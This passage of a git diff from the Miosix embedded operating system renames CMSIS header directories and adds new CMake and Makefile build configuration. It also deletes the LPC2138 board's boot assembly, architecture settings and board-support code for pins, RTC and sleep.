b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_dma_descriptor.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_dma_descriptor.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_dma_descriptor.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_dmactrl.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_dmactrl.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_dmactrl.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_dmactrl.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_dmareq.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_dmareq.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_dmareq.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_dmareq.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_ebi.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_ebi.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_ebi.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_ebi.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_emu.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_emu.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_emu.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_emu.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_etm.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_etm.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_etm.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_etm.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_gpio.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_gpio.h similarity index 100% rename from miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_gpio.h rename to miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_gpio.h diff --git a/miosix/arch/common/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_gpio_p.h b/miosix/arch/CMSIS/Device/SiliconLabs/EFM32GG/Include/efm32gg_gpio_p.h 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miosix/arch/common/CMSIS/README.txt rename to miosix/arch/CMSIS/README.txt diff --git a/miosix/arch/common/CMSIS/index.html b/miosix/arch/CMSIS/index.html similarity index 100% rename from miosix/arch/common/CMSIS/index.html rename to miosix/arch/CMSIS/index.html diff --git a/miosix/arch/common/CMSIS/readme miosix.txt b/miosix/arch/CMSIS/readme miosix.txt similarity index 100% rename from miosix/arch/common/CMSIS/readme miosix.txt rename to miosix/arch/CMSIS/readme miosix.txt diff --git a/miosix/arch/CMakeLists.txt b/miosix/arch/CMakeLists.txt new file mode 100644 index 000000000..dfbca98a2 --- /dev/null +++ b/miosix/arch/CMakeLists.txt @@ -0,0 +1,168 @@ +# Copyright (C) 2024 by Skyward +# +# This program is free software; you can redistribute it and/or +# it under the terms of the GNU General Public License as published +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# As a special exception, if other files instantiate templates or use +# macros or inline functions from this file, or you compile this file +# and link it with other works to produce a work based on this file, +# this file does not by itself cause the resulting work to be covered +# by the GNU General Public License. However the source code for this +# file must still be made available in accordance with the GNU +# Public License. This exception does not invalidate any other +# why a work based on this file might be covered by the GNU General +# Public License. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, see + +include(MiosixPrintHelpers) + +set(MIOSIX_BOARDS + atsam4lc2aa_generic + efm32g222f128_generic + efm32gg332f1024_wandstem + hrc7000_hd2 + lpc2138_generic + lpc2138_miosix_board + nrf52840_generic + rp2040_raspberry_pi_pico + stm32f030r8_stm32f0discovery + stm32f072rb_stm32f0discovery + stm32f100c8_microboard + stm32f100c8_vaisala_rs41 + stm32f100cb_tempsensor + stm32f100rb_stm32vldiscovery + stm32f100rc_solertegiard + stm32f100xb_generic + stm32f103c8_bluepill + stm32f103cb_als_mainboard_rev2 + stm32f103ve_mp3v2 + stm32f103ve_strive_mini + stm32f103xb_generic + stm32f103ze_redbull_v2 + stm32f103ze_stm3210e-eval + stm32f205_generic + stm32f205rc_skyward_stormtrooper + stm32f205rg_sony-newman + stm32f207ig_stm3220g-eval + stm32f207ze_als_camboard + stm32f207zg_ethboard_v2 + stm32f207zg_nucleo + stm32f303vc_stm32f3discovery + stm32f401re_nucleo + stm32f401vc_stm32f4discovery + stm32f407vg_bitsboard + stm32f407vg_stm32f4discovery + stm32f407vg_thermal_test_chip + stm32f411ce_blackpill + stm32f411re_nucleo + stm32f415vg_st25dvdiscovery + stm32f429zi_oledboard2 + stm32f429zi_skyward_anakin + stm32f429zi_skyward_homeone + stm32f429zi_stm32f4discovery + stm32f469ni_stm32f469i-disco + stm32f746zg_nucleo + stm32f765ii_marco_ram_board + stm32f767zi_nucleo + stm32f769ni_discovery + stm32h503rb_generic + stm32h723zg_nucleo + stm32h753xi_eval + stm32h755zi_nucleo + stm32l010rb_nucleo + stm32l053r8_nucleo + stm32l151c8_als_mainboard + stm32l152re_nucleo + stm32l476rg_nucleo + stm32l4r9zi_sensortile + stm32u535cb_rrc + stm32u585ci_generic +) + +# Target board option, this also implicitly select the target architecture +set(MIOSIX_BOARD NOT_SET CACHE STRING "Target board") +set_property(CACHE MIOSIX_BOARD PROPERTY STRINGS ${MIOSIX_BOARDS}) +if(MIOSIX_BOARD STREQUAL NOT_SET) + miosix_expected_item_in_list("You must specify a target board with MIOSIX_BOARD" "${MIOSIX_BOARDS}") +elseif(NOT MIOSIX_BOARD IN_LIST MIOSIX_BOARDS) + miosix_expected_item_in_list("Selected board '${MIOSIX_BOARD}' is not in the MIOSIX_BOARDS list" "${MIOSIX_BOARDS}") +endif() + +# Optimization flags are set with CMAKE__FLAGS_ +# The default values are in the toolchain file + +# Directory with header files for this board +set(MIOSIX_BOARD_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/board/${MIOSIX_BOARD}) + +# Include the board specific CMakeLists +include(${MIOSIX_BOARD_INC}/CMakeLists.txt) + +# Separate linker script names from associated compiler options +set(LINKER_SCRIPTS_ONLY_LIST "${MIOSIX_LINKER_SCRIPT_LIST}") +list(FILTER LINKER_SCRIPTS_ONLY_LIST INCLUDE REGEX ".*\.ld$") + +# Normalize linker script option +set(MIOSIX_LINKER_SCRIPT "${MIOSIX_DEFAULT_LINKER_SCRIPT}" CACHE STRING "Linker script") +set_property(CACHE MIOSIX_LINKER_SCRIPT PROPERTY STRINGS ${MIOSIX_LINKER_SCRIPT_LIST}) +if(NOT MIOSIX_LINKER_SCRIPT MATCHES ".*\.ld$") + message(FATAL_ERROR "MIOSIX_LINKER_SCRIPT '${MIOSIX_LINKER_SCRIPT}' is not a valid linker script because it does not end with .ld") +endif() +if(IS_ABSOLUTE "${MIOSIX_LINKER_SCRIPT}") + # Out-of-tree linker script: an absolute path is used verbatim. The + # in-board-list membership check and the per-script extra-flags lookup only + # apply to board-provided scripts, so they are skipped here. + set(MIOSIX_LINKER_SCRIPT_PATH "${MIOSIX_LINKER_SCRIPT}") +else() + # Board-provided script: resolve against the board include dir and validate. + list(FIND MIOSIX_LINKER_SCRIPT_LIST "${MIOSIX_LINKER_SCRIPT}" LINKER_SCRIPT_IDX) + if(LINKER_SCRIPT_IDX EQUAL -1) + # If there is no cached value, or the cached value is not in the list, complain + miosix_expected_item_in_list("Invalid linker script '${MIOSIX_LINKER_SCRIPT}' specified with MIOSIX_LINKER_SCRIPT" "${LINKER_SCRIPTS_ONLY_LIST}") + endif() + # Set compilation options based on linker scripts + list(SUBLIST MIOSIX_LINKER_SCRIPT_LIST ${LINKER_SCRIPT_IDX} -1 LINKER_SCRIPT_OPTIONS) + foreach(OPTION IN LISTS LINKER_SCRIPT_OPTIONS) + if(OPTION STREQUAL MIOSIX_LINKER_SCRIPT) + # first iteration, ignore + continue() + endif() + if(OPTION MATCHES ".*\.ld$") + break() + endif() + list(APPEND MIOSIX_BOARD_C_FLAGS "${OPTION}") + list(APPEND MIOSIX_BOARD_CXX_FLAGS "${OPTION}") + message(STATUS "Linker script '${MIOSIX_LINKER_SCRIPT}' adds C/CXX flag ${OPTION}") + endforeach() + set(MIOSIX_LINKER_SCRIPT_PATH "${MIOSIX_BOARD_INC}/${MIOSIX_LINKER_SCRIPT}") +endif() + +# Normalize board variant option +set(MIOSIX_BOARD_VARIANT "${MIOSIX_DEFAULT_BOARD_VARIANT}" CACHE STRING "Board variant") +set_property(CACHE MIOSIX_BOARD_VARIANT PROPERTY STRINGS ${MIOSIX_BOARD_VARIANT_LIST}) +# Not all boards have variants +if(DEFINED MIOSIX_BOARD_VARIANT_LIST) + if(NOT MIOSIX_BOARD_VARIANT IN_LIST MIOSIX_BOARD_VARIANT_LIST) + # If there is no cached value, or the cached value is not in the list, set a default value + miosix_expected_item_in_list("Invalid variant '${MIOSIX_BOARD_VARIANT}' specified with MIOSIX_BOARD_VARIANT" "${MIOSIX_BOARD_VARIANT_LIST}") + else() + # Add variant to board defines + list(APPEND MIOSIX_BOARD_C_FLAGS "-D${MIOSIX_BOARD_VARIANT}") + list(APPEND MIOSIX_BOARD_CXX_FLAGS "-D${MIOSIX_BOARD_VARIANT}") + endif() +else() + if(NOT MIOSIX_BOARD_VARIANT STREQUAL "") + message(WARNING "Board '${MIOSIX_BOARD}' does not have variants but MIOSIX_BOARD_VARIANT is set to '${MIOSIX_BOARD_VARIANT}'") + endif() +endif() + +# Include the chip specific CMakeLists +include(${MIOSIX_CHIP_INC}/CMakeLists.txt) diff --git a/miosix/arch/Makefile.inc b/miosix/arch/Makefile.inc new file mode 100644 index 000000000..6f4b91ebd --- /dev/null +++ b/miosix/arch/Makefile.inc @@ -0,0 +1,90 @@ +## +## Makefile for Miosix embedded OS +## +## This file contains the options required by the Miosix build system to +## configure it for various target architectures. User-modifiable options +## are set by the config/Makefile.inc file, which is included from here. +## + +## +## Check that the top-level makefile (which includes this file) has the correct +## version. This is here to share the check between processes and kernel +## +ifneq ($(MAKEFILE_VERSION),3.01) + $(info You are using an incompatible makefile. Make sure it matches \ + the one distributed with the current version of the kernel) + $(error Error) +endif + +## +## Include user-specified configuration. This file must exist. +## This makefile should define at least OPT_BOARD +## +include $(CONFPATH)/config/Makefile.inc + +## Check that a board was indeed specified by the user and define BOARD_INC +## based on that +ifeq ($(OPT_BOARD),) + $(info Error: no board specified in $(CONFPATH)/config/Makefile.inc) + $(error Error) +endif +BOARD_INC := arch/board/$(OPT_BOARD) + +## +## Include user-specified board configuration +## This include might not exist for some boards +## +ifeq ($(wildcard $(CONFPATH)/config/board/$(OPT_BOARD)/Makefile.inc),) + # File does not exist in configuration, use the default kernel one which + # also might not exist if it's not needed + -include $(KPATH)/config/board/$(OPT_BOARD)/Makefile.inc +else + # Include the file in the configuration + include $(CONFPATH)/config/board/$(OPT_BOARD)/Makefile.inc +endif + +## +## Include the makefile for the selected board +## +include $(KPATH)/$(BOARD_INC)/Makefile.inc + +## +## Include the makefile for the selected chip +## This will define PREFIX +## +include $(KPATH)/$(CHIP_INC)/Makefile.inc + +## +## Default optimization level +## + +## Kernel +OPT_OPTIMIZATION ?= -O2 + +## Processes +PROC_OPT_OPTIMIZATION ?= -O2 + +## +## Define tool names +## + +## From compiler prefix form the name of the compiler and other tools +CC := $(PREFIX)-gcc +CXX := $(PREFIX)-g++ +LD := $(PREFIX)-ld +AR := $(PREFIX)-ar +AS := $(PREFIX)-as +CP := $(PREFIX)-objcopy +OD := $(PREFIX)-objdump +#SZ := perl $(TOOLS_DIR)/miosix_size.pl --prefix=$(PREFIX) +STRIP := $(PREFIX)-strip + +## Define the echo tool (this is here to share the definition between processes +## and kernel) +ifeq ("$(VERBOSE)","1") +Q := +ECHO := @true +else +Q := @ +ECHO := @echo +endif diff --git a/miosix/arch/arm7_lpc2000/common/arch_settings.h b/miosix/arch/arm7_lpc2000/common/arch_settings.h deleted file mode 100644 index ff1c1f1ef..000000000 --- a/miosix/arch/arm7_lpc2000/common/arch_settings.h +++ /dev/null @@ -1,55 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2010-2021 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -namespace miosix { - -/** - * \addtogroup Settings - * \{ - */ - -/// \internal Size of vector to store registers during ctx switch (17*4=68) -/// All ARM7 CPUs have the same number of registers. -const unsigned int CTXSAVE_SIZE=17; - -/// \internal some architectures save part of the context on their stack. -/// This constant is used to increase the stack size by the size of context -/// save frame. If zero, this architecture does not save anything on stack -/// during context save. Size is in bytes, not words. -/// MUST be divisible by 4. -const unsigned int CTXSAVE_ON_STACK=0; - -/// \internal stack alignment for this specific architecture -const unsigned int CTXSAVE_STACK_ALIGNMENT=4; - -/** - * \} - */ - -} //namespace miosix diff --git a/miosix/arch/arm7_lpc2000/lpc2138_miosix_board/core/stage_1_boot.s b/miosix/arch/arm7_lpc2000/lpc2138_miosix_board/core/stage_1_boot.s deleted file mode 100644 index 6aeaaf06e..000000000 --- a/miosix/arch/arm7_lpc2000/lpc2138_miosix_board/core/stage_1_boot.s +++ /dev/null @@ -1,95 +0,0 @@ -/* ***************************************************** -Miosix boot system V2.0 -Stage 1 boot process -This code will set up the stacks, initialize global -variables and jump to stage_2_boot. -C and C++ are supported. -Also includes the interrupt table. -***************************************************** */ - -/* Mode bits and Interrupt (I & F) flags in PSRs (program status registers) */ -.set MODE_USR, 0x10 /* User Mode */ -.set MODE_FIQ, 0x11 /* FIQ Fast Interrupt Mode */ -.set MODE_IRQ, 0x12 /* IRQ Interrupt Mode */ -.set MODE_SVC, 0x13 /* Supervisor Call Interrupt Mode */ -.set MODE_ABT, 0x17 /* Abort (memory fault) Mode */ -.set MODE_UND, 0x1B /* Undefined Instructions Mode */ -.set MODE_SYS, 0x1F /* System Mode */ -.set I_BIT, 0x80 /* if I bit set, IRQ is disabled */ -.set F_BIT, 0x40 /* if F bit set, FIQ is disabled */ - -.text -.arm - -.global _startup -.func _startup - -_startup: - -/* Interrupt vectors */ - -_vectors: - ldr pc, Reset_Addr - ldr pc, Undef_Addr - ldr pc, SWI_Addr - ldr pc, PAbt_Addr - ldr pc, DAbt_Addr - nop /* Reserved for ISP checksum */ - ldr pc, [pc,#-0xFF0] /* Jump to VIC */ - ldr pc, FIQ_Addr - -Reset_Addr: .word Reset_Handler /* defined below */ -Undef_Addr: .word UNDEF_Routine /* defined in interrupts.cpp */ -SWI_Addr: .word kernel_SWI_Routine /* defined in kernel/portability.cpp */ -PAbt_Addr: .word PABT_Routine /* defined in interrupts.cpp */ -DAbt_Addr: .word DABT_Routine /* defined in interrupts.cpp */ -FIQ_Addr: .word FIQ_Routine /* defined in interrupts.cpp */ - .word 0 /* rounds the interrupt vector to 64Bytes */ - -/* Reset Handler */ - -Reset_Handler: - /* Setup a stack for each mode */ - msr CPSR_c, #MODE_UND|I_BIT|F_BIT /* Undef (IRQ Off, FIQ Off) */ - ldr sp, =_und_stack_top - - msr CPSR_c, #MODE_ABT|I_BIT|F_BIT /* Abort (IRQ Off, FIQ Off) */ - ldr sp, =_abt_stack_top - - msr CPSR_c, #MODE_FIQ|I_BIT|F_BIT /* FIQ (IRQ Off, FIQ Off) */ - ldr sp, =_fiq_stack_top - - msr CPSR_c, #MODE_IRQ|I_BIT /* IRQ (IRQ Off, FIQ On ) */ - ldr sp, =_irq_stack_top - - msr CPSR_c, #MODE_SVC|I_BIT /* Supervisor (IRQ Off, FIQ On ) */ - ldr sp, =_svc_stack_top - - msr CPSR_c, #MODE_SYS|I_BIT|F_BIT /* System (IRQ Off, FIQ Off) */ - ldr sp, =_sys_stack_top - - /* copy .data section from FLASH to RAM */ - ldr r1, =_etext - ldr r2, =_data - ldr r3, =_edata -1: cmp r2, r3 - ldrlo r0, [r1], #4 - strlo r0, [r2], #4 - blo 1b - /* clear .bss section */ - mov r0, #0 - ldr r1, =_bss_start - ldr r2, =_bss_end -2: cmp r1, r2 - strlo r0, [r1], #4 - blo 2b - /* enter stage_2_boot. the lr (return address) is set to 0x00000000, so - if main returns, it will jump to the reset vector, rebooting the system. - Using bx instead of b to support thumb mode */ - ldr r12, =_init - ldr lr, =0 - bx r12 - -.endfunc - -.end diff --git a/miosix/arch/arm7_lpc2000/lpc2138_miosix_board/interfaces-impl/arch_registers_impl.h b/miosix/arch/arm7_lpc2000/lpc2138_miosix_board/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index 3d74df5b1..000000000 --- a/miosix/arch/arm7_lpc2000/lpc2138_miosix_board/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,7 +0,0 @@ - -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -#include "LPC213x.h" - -#endif //ARCH_REGISTERS_IMPL_H diff --git a/miosix/arch/arm7_lpc2000/lpc2138_miosix_board/interfaces-impl/bsp.cpp b/miosix/arch/arm7_lpc2000/lpc2138_miosix_board/interfaces-impl/bsp.cpp deleted file mode 100644 index ff0858c7b..000000000 --- a/miosix/arch/arm7_lpc2000/lpc2138_miosix_board/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,465 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2008, 2009, 2010, 2011, 2012, 2013, 2014 * - * by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "core/interrupts.h" -#include "interfaces/delays.h" -#include "drivers/serial.h" -#include "drivers/sd_lpc2000.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/portability.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" - -/* -****************** -Failsafe pin state -****************** -Pin marked as gpio are available for general purpose use -Pin marked as gpio / JTAG are not available if using JTAG in circuit debugger -Pin marked as LED can be accessed using ledOn(), ledOff() and ledRead() -Pin marked as enter/pgm button can be accessed using buttonEnter() -Pin marked as * have the restriction that cannot be driven low when the -microcontroller is in RESET because they trigger special functions, for more -info, read the LPC2138 datasheet. -Pin marked as # are open drain, that is, cannot force a high level without the -use of an external pull up resistor. For more info read LPC2138 datasheet. -All other pin are reserved since are used for USB, uSD... - -p0.0 in txd (USB,rs232) p0.16 in gpio p1.16 in gpio -p0.1 in rxd (USB,rs232) p0.17 out 0 sck (uSD) p1.17 in gpio -p0.2 in # gpio p0.18 in miso (uSD) p1.18 in gpio -p0.3 in # gpio p0.19 out 0 mosi (uSD) p1.19 in gpio -p0.4 in gpio p0.20 out 0 cs (uSD) p1.20 in * gpio -p0.5 in gpio p0.21 in gpio p1.21 in gpio -p0.6 in gpio p0.22 in gpio p1.22 in gpio -p0.7 in gpio p0.23 in gpio p1.23 in gpio -p0.8 in gpio p0.24 --- p1.24 in gpio -p0.9 in gpio p0.25 in gpio p1.25 in gpio -p0.10 in gpio p0.26 in gpio p1.26 in * gpio / JTAG -p0.11 in card detect(uSD) p0.27 in gpio p1.27 in gpio / JTAG -p0.12 in gpio p0.28 in gpio p1.28 in gpio / JTAG -p0.13 out 0 +3V(B) en p0.29 in gpio p1.29 in gpio / JTAG -p0.14 in * enter/pgm button p0.30 in gpio p1.30 in gpio / JTAG -p0.15 in #sleep (USB) p0.31 out 1 LED p1.31 in gpio / JTAG -*/ -#define IODIR0_failsafe 0x811a2000 -#define IOCLR0_failsafe 0x7fffffff -#define IOSET0_failsafe 0x80000000 -#define IODIR1_failsafe 0x0000ffff -#define IOCLR1_failsafe 0x00000000 -#define IOSET1_failsafe 0xffffffff - -//Power management macros -// enable 3v subsystem (WARNING: after a system reset wait 100mS before turning on) -#define subsystem_3v_on() (IOSET0=(1<<13)) -// disable 3v subsystem (WARNING: make sure uSD pins are @ their failsafe state) -#define subsystem_3v_off() (IOCLR0=(1<<13)) - -namespace miosix { - -/** -\internal -Put the cpu to power down mode. Used in shutdown() -*/ -static inline void goPowerDown() -{ - PCON|=PD; -} - -#ifdef WITH_RTC -//Commented below in this file -static void rtcInit(); -#endif //WITH_RTC - -// -// Initialization -// - -void IRQbspInit() -{ - //Initialize the system PLL - setPllFreq(PLL_4X);//Set cpu freq. through pll @ 14.7456MHz * 4 = 59MHz - set_apb_ratio(APB_DIV_4);//Set peripheral clock ratio 1:4 - //Some registers are only accessed in read-modify-write. Since software reset - // ( system_reboot() ) does not put those register in a known state, unlike - //hardware reset, we need to clear them. - //Clearing PINSEL registers. All pin are GPIO by default - PINSEL0=0; - PINSEL1=0; - //Now setting pin to their failsafe (initialization) pin state - IODIR0=IODIR0_failsafe; - IOCLR0=IOCLR0_failsafe; - IOSET0=IOSET0_failsafe; - IODIR1=IODIR1_failsafe; - IOCLR1=IOCLR1_failsafe; - IOSET1=IOSET1_failsafe; - - //Now wait 100ms - ledOn(); - delayMs(100); - ledOff(); - //Enable 3v subsystem - subsystem_3v_on(); - delayMs(50); - //Peripheral are enabled using an ondemand strategy to save power. - //So by default, they are disabled. - PCONP=0; - - //Setting the VIC to a known state - VICSoftIntClr=0xffffffff;//Clear all pending interrupt flags - VICIntEnClr=0xffffffff;//All interrupts are disabled - VICIntSelect=0;//All interrupts are assigned to IRQ, not FIQ - //spurious interrupt handler - VICDefVectAddr=(unsigned long)&default_IRQ_Routine; - //Init RTC (if selected) - #ifdef WITH_RTC - rtcInit(); - #endif //WITH_RTC - //Init serial port - DefaultConsole::instance().IRQset( - intrusive_ref_ptr(new LPC2000Serial(0,SERIAL_PORT_SPEED))); -} - -void bspInit2() -{ - #ifdef WITH_FILESYSTEM - #ifdef WITH_DEVFS - intrusive_ref_ptr devFs=basicFilesystemSetup(SPISDDriver::instance()); - #ifdef AUX_SERIAL - devFs->addDevice(AUX_SERIAL, - intrusive_ref_ptr(new LPC2000Serial(1,AUX_SERIAL_SPEED))); - #endif //AUX_SERIAL - #else //WITH_DEVFS - basicFilesystemSetup(); - #endif //WITH_DEVFS - #endif //WITH_FILESYSTEM -} - -// -// RTC time support -// - -#ifdef WITH_RTC -/** -Initializes the RTC -*/ -static void rtcInit() -{ - PCONP|=PCRTC; - CCR=(1<<0) | (1<<4);//Clock enabled, clock source is 32KHz xtal - CIIR=0; -} - -Time rtcGetTime() -{ - Time t; - unsigned int t0,t1; - //Reading is tricky because time can overflow while reading - do { - t0=CTIME0; - t1=CTIME1; - } while(t0!=CTIME0); - t.sec=(unsigned char)(t0 & 0x3f); - t.min=(unsigned char)((t0>>8) & 0x3f); - t.hour=(unsigned char)((t0>>16) & 0x1f); - t.dow=(DayOfWeek)((t0>>24) & 0x7); - t.day=(unsigned char)(t1 & 0x1f); - t.month=(unsigned char)((t1>>8) & 0xf); - t.year=(unsigned int)((t1>>16) & 0xfff); - return t; -} - -void rtcSetTime(Time t) -{ - PauseKernelLock lock;//The RTC is a shared resource ;) - CCR&=~(1<<0);//Stop RTC clock - SEC=(int)t.sec; - MIN=(int)t.min; - HOUR=(int)t.hour; - DOM=(int)t.day; - DOW=(int)t.dow; - MONTH=(int)t.month; - YEAR=(int)t.year; - CCR|=(1<<0);//Restart RTC clock -} -#endif //WITH_RTC - -// -// Shutdown and reboot -// - -/** -\internal -Shutdown system. -\param and_return if true, this function returns after wakeup, if false calls -system_reboot() immediately after wakeup -\param t wakeup time, only allowed if WITH_RTC is #define'd -*/ -static void _shutdown(bool and_return, Time *t) -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - if(and_return==false) FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - pauseKernel(); - - //wait button release - while(buttonEnter()) delayMs(20); - - //sleep 100ms - delayMs(100); - - //Disable interrupts - disableInterrupts(); - - //Clearing PINSEL registers. All pin are GPIO by default - PINSEL0=0; - PINSEL1=0; - //Restore failsafe pin state (only non-gpio pin) - IOSET0=IOSET0_failsafe & (~GPIO_0_MASK); - IOCLR0=IOCLR0_failsafe & (~GPIO_0_MASK); - IODIR0=((IODIR0 & GPIO_0_MASK) | (IODIR0_failsafe & (~GPIO_0_MASK))); - //Not changing IODIR1, IOCLR1 and IOSET1 because are all gpio - - IODIR0|=(1<<18);//making p0.18 uSD miso an output, so if no card present it - //is not floating - - //Set wakup time - #ifdef WITH_RTC - if(t!=NULL) - { - unsigned char tmp=((t->wakeup_mask) & 0xf);//sec, min, hour, day - tmp|=(1<<4) | (1<<5);//Day of month and day of year not compared for alarm - if((t->wakeup_mask) & (1<<4)) tmp|=(1<<6);//month - if((t->wakeup_mask) & (1<<5)) tmp|=(1<<7);//year - AMR=tmp; - ALSEC=(int)(t->sec); - ALMIN=(int)(t->min); - ALHOUR=(int)(t->hour); - ALDOM=(int)(t->day); - ALDOW=0;//Not used - ALDOY=0;//Not used - ALMON=(int)(t->month); - ALYEAR=(int)(t->year); - } else { - AMR=0xff;//Time wakeup disabled - } - ILR=0x3;//Clear RTC alarm interrupt flag - #endif //WITH_RTC - - #ifdef WAKEUP_DELAY - bool skip_delay=false; - sleep_again: //We jump here if WAKEUP_DELAY is #define'd and we do not hold - //down p0.14 enough - #endif //WAKEUP_DELAY - - //now power down system - PCON=BODPDM;//Disable BOD to save power - #ifdef WITH_RTC - INTWAKE=(1<<1) | (1<<15);//EINT1 (p0.14) + RTC selected - #else //WITH_RTC - INTWAKE=(1<<1);//EINT1 (p0.14) selected - #endif //WITH_RTC - EXTMODE=0;//Interrupt level sensitive - EXTPOLAR=0;//Interrupt is active low - EXTINT=(1<<1);//Clear flag for int1 - PINSEL0|=(1<<29);//p0.14 external interrupt - goPowerDown(); - PINSEL0&=~(1<<29);//p0.14 standard I/O - - #if defined(WITH_RTC) && defined(WAKEUP_DELAY) - //If we woke because of a RTC timeout, no button delay - if(ILR & (1<<1)) skip_delay=true; - #endif //WITH_RTC - - #ifdef WAKEUP_DELAY - if(skip_delay==false) - { - //user must hold down enter button for 2 seconds - int i; - for(i=0;i<20;i++) - { - //Waiting 100/4 because PLL is not yet enabled, clock frequency is low - delayMs(100/4); - if(!buttonEnter()) goto sleep_again; - } - } - #endif//WAKEUP_DELAY - - if(and_return==false) miosix_private::IRQsystemReboot(); - - //Initialize the system PLL (Power down mode resets pll to 1x) - setPllFreq(PLL_4X);//Set cpu freq. through pll @ 14.7456MHz * 4 = 59MHz - set_apb_ratio(APB_DIV_4);//Set peripheral clock ratio 1:4 - - IODIR0&=~(1<<18);//restoring p0.18 uSD miso as input. - - //Now wait 50ms - ledOn(); - delayMs(50); - ledOff(); - //Enable 3v subsystem - subsystem_3v_on(); - delayMs(50); - - //Re-enable interrupts - enableInterrupts(); - - restartKernel(); -} - -void sleep(Time *t) -{ - _shutdown(true,t); -} - -/** -This function disables filesystem (if enabled), serial port (if enabled) and -puts the processor in deep sleep mode.
-Wakeup occurs when p0.14 goes low, but instead of sleep(), a new boot happens. -
This function does not return.
-WARNING: close all files before using this function, since it unmounts the -filesystem.
